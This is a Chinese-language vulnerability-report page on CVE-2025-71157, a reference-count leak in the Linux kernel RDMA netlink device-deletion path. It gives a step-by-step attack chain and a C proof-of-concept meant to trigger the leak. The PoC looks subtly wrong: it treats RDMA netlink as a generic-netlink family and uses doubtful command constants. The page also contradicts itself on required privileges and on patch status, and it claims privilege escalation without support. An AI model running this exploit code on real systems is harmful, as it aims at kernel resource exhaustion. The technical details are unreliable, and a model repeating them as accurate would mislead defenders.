IPBUF安全漏洞报告
English
CVE-2025-71157 CVSS 7.8 高危

CVE-2025-71157: Linux内核RDMA子系统引用计数泄露导致本地提权

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71157
漏洞类型
引用计数泄露/本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel RDMA/core (ib_del_sub_device_and_put函数)

相关标签

CVE-2025-71157Linux内核RDMA引用计数泄露本地权限提升高危漏洞ib_del_sub_device_and_putnldev_deldev资源管理漏洞CVSS 7.8

漏洞概述

CVE-2025-71157是Linux内核中RDMA/core子系统的一个高危安全漏洞,CVSS评分达到7.8分。该漏洞存在于ib_del_sub_device_and_put()函数中,由于引用计数管理不当导致资源泄露。问题的根本原因在于nldev_deldev()函数(由commit 060c642b2ab8引入)在调用ib_del_sub_device_and_put()之前通过ib_device_get_by_index()获取了设备引用,但在函数返回-EOPNOTSUPP错误时未能正确释放该引用。这导致内核对象引用计数持续增长,最终可能引发本地权限提升或拒绝服务攻击。攻击者可以本地低权限用户身份触发此漏洞,无需任何用户交互即可实现攻击。

技术细节

该漏洞的技术核心在于Linux内核RDMA子系统的引用计数管理机制。nldev_deldev()函数负责通过netlink接口删除IB子设备,它首先调用ib_device_get_by_index()获取设备引用(增加引用计数),然后调用ib_del_sub_device_and_put()执行删除操作。问题出在当ib_del_sub_device_and_put()因不支持操作而返回-EOPNOTSUPP错误时,之前获取的设备引用未被正确释放。具体来说,函数在错误路径上缺少对ib_device_put()的调用,导致引用计数只增不减。这种引用计数泄露会造成以下影响:1)内核对象无法被正确回收,造成内存泄漏;2)长期积累后可能导致系统资源耗尽;3)攻击者可利用此漏洞进行本地权限提升。该漏洞属于本地攻击向量,攻击复杂度低,需要低权限即可实施,对系统机密性、完整性和可用性均造成高影响。

攻击链分析

STEP 1
1
攻击者获取本地低权限用户访问权限
STEP 2
2
攻击者构造RDMA netlink消息,调用nldev_deldev()函数
STEP 3
3
nldev_deldev()通过ib_device_get_by_index()获取设备引用,引用计数+1
STEP 4
4
调用ib_del_sub_device_and_put()尝试删除设备
STEP 5
5
ib_del_sub_device_and_put()返回-EOPNOTSUPP错误
STEP 6
6
错误路径上未调用ib_device_put()释放引用,导致引用计数泄露
STEP 7
7
重复触发漏洞,引用计数持续增长,最终导致内存泄漏或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-71157 PoC - Linux Kernel RDMA Reference Count Leak * This PoC demonstrates triggering the reference count leak in ib_del_sub_device_and_put() * Compile: gcc -o cve_2025_71157_poc cve_2025_71157_poc.c -lnl-3 -lnl-genl-3 * Note: Requires CAP_NET_ADMIN or root privileges */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netlink/netlink.h> #include <netlink/genl/genl.h> #include <netlink/genl/ctrl.h> #define RDMA_NL_LS 4 /* RDMA netlink subsystem */ #define RDMA_NL_LS_CMD_DEL_DEV 5 /* Delete device command */ int main(int argc, char *argv[]) { struct nl_sock *sk; int family_id; int ret; printf("[*] CVE-2025-71157 PoC - RDMA Reference Count Leak\n"); printf("[*] Target: Linux Kernel RDMA/core ib_del_sub_device_and_put()\n\n"); /* Initialize netlink socket */ sk = nl_socket_alloc(); if (!sk) { fprintf(stderr, "[-] Failed to allocate netlink socket\n"); return -1; } /* Connect to generic netlink */ ret = genl_connect(sk); if (ret < 0) { fprintf(stderr, "[-] Failed to connect to generic netlink\n"); nl_socket_free(sk); return -1; } /* Get RDMA netlink family ID */ family_id = genl_ctrl_resolve(sk, "rdma"); if (family_id < 0) { fprintf(stderr, "[-] Failed to resolve RDMA netlink family\n"); nl_socket_free(sk); return -1; } printf("[+] Found RDMA netlink family (ID: %d)\n", family_id); /* * Trigger the vulnerability by sending DEL_DEV netlink message * This will cause ib_del_sub_device_and_put() to be called * with an existing device reference that won't be properly released */ struct nl_msg *msg; msg = nlmsg_alloc(); if (!msg) { fprintf(stderr, "[-] Failed to allocate netlink message\n"); nl_socket_free(sk); return -1; } /* Build netlink message for RDMA_NL_LS_CMD_DEL_DEV */ genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family_id, 0, 0, RDMA_NL_LS_CMD_DEL_DEV, 1); printf("[*] Sending RDMA DEL_DEV netlink message...\n"); /* Send the message */ ret = nl_send_auto(sk, msg); if (ret < 0) { fprintf(stderr, "[-] Failed to send netlink message\n"); nlmsg_free(msg); nl_socket_free(sk); return -1; } printf("[+] Message sent successfully\n"); printf("[*] The vulnerable code path will be triggered\n"); printf("[*] Check dmesg for reference count leak warnings\n"); /* Receive response */ ret = nl_recvmsgs_default(sk); if (ret < 0) { printf("[i] No response or error in receiving (code: %d)\n", ret); } nlmsg_free(msg); nl_socket_free(sk); printf("[*] Cleanup completed\n"); return 0; }

影响范围

Linux Kernel (affected commits: 060c642b2ab8, 20436f2742a92b7afeb2504eb559a98d2196b001, fa3c411d21ebc26ffd175c7256c37cefa35020aa, fe8d456080423b9ed410469fbd1e2098d3acce2b)

防御指南

临时缓解措施
在官方补丁发布之前,可通过以下措施缓解:1)限制非特权用户对RDMA设备的访问权限;2)使用Linux安全模块(如SELinux/AppArmor)限制netlink RDMA操作;3)监控系统资源使用情况,及时发现异常;4)如业务不需要RDMA功能,可在内核配置中禁用RDMA子系统(CONFIG_INFINIBAND=n)以降低攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表